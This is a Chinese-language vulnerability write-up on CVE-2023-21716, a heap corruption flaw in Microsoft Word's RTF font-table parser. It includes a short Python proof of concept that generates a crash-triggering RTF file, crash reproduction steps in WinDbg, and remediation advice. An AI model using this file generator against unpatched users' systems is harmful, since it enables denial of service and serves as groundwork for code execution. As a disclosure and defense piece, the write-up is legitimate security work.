漏洞介绍&&POC
CVE-2023-21716 是去年发现的。它是Microsoft Office中一个严重的远程代码执行(RCE)漏洞,CVSS得分为9.8。安全研究员约书亚·德雷克(Joshua Drake)向微软报告了该漏洞以及技术咨询和概念验证(PoC)漏洞利用代码。据研究人员称,CVE-2023-21716漏洞源于Microsoft Word RTF解析器中的堆损坏问题,该问题是在处理包含过多字体的字体表时触发的。该问题已在 2 月补丁星期二中得到解决,因此现在研究人员在推特提供了 python版本的PoC:
# PoC for:
# Microsoft Word RTF Font Table Heap Corruption Vulnerability
#
# by Joshua J. Drake (@jduck)
#
import sys
# allow overriding the number of fonts
num = 32761
if len(sys.argv) > 1:
num = int(sys.argv[1])
f = open('tezt.rtf', 'wb')
f.write(b'{\\rtf1{\n{\\fonttbl')
for i in range(num):
f.write(b'{\\f%dA;}\n' % i)
f.write(b'}\n')
f.write(b'{\\rtlch it didn't crash?? no calc?! BOO!!!}\n')
f.write(b'}}\n')
f.close()
漏洞复现
1、使用poc生成rtf文件,用wps打开是这样:
2、使用windbg载入word可执行文件并开始debugging
3、word打开生成的rtf文件,出现崩溃
调试器提示堆栈缓冲区溢出,我们查看堆栈跟踪,崩溃于wwlib库,此库是office负责解析rtf格式的库。
打开正常的rtf文件
显示正常,且调试器没有出现异常
漏洞修复建议
微软提出了两种可能的解决方法。虽然一种解决方法是以纯文本形式阅读电子邮件,但这可能会很不方便,因为它会限制显示的内容。另一种选择是使用 Microsoft Office 文件阻止策略,该策略限制从不受信任的来源打开 RTF 文档,但需要更改 Windows 注册表。如果未正确执行,此方法可能会导致问题,例如重新安装操作系统。如果未指定豁免目录,用户也无法打开任何 RTF 文档的可能性也存在。因此,解决此漏洞的最安全方法是安装 Microsoft 提供的安全更新。
参考:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21716
联系客服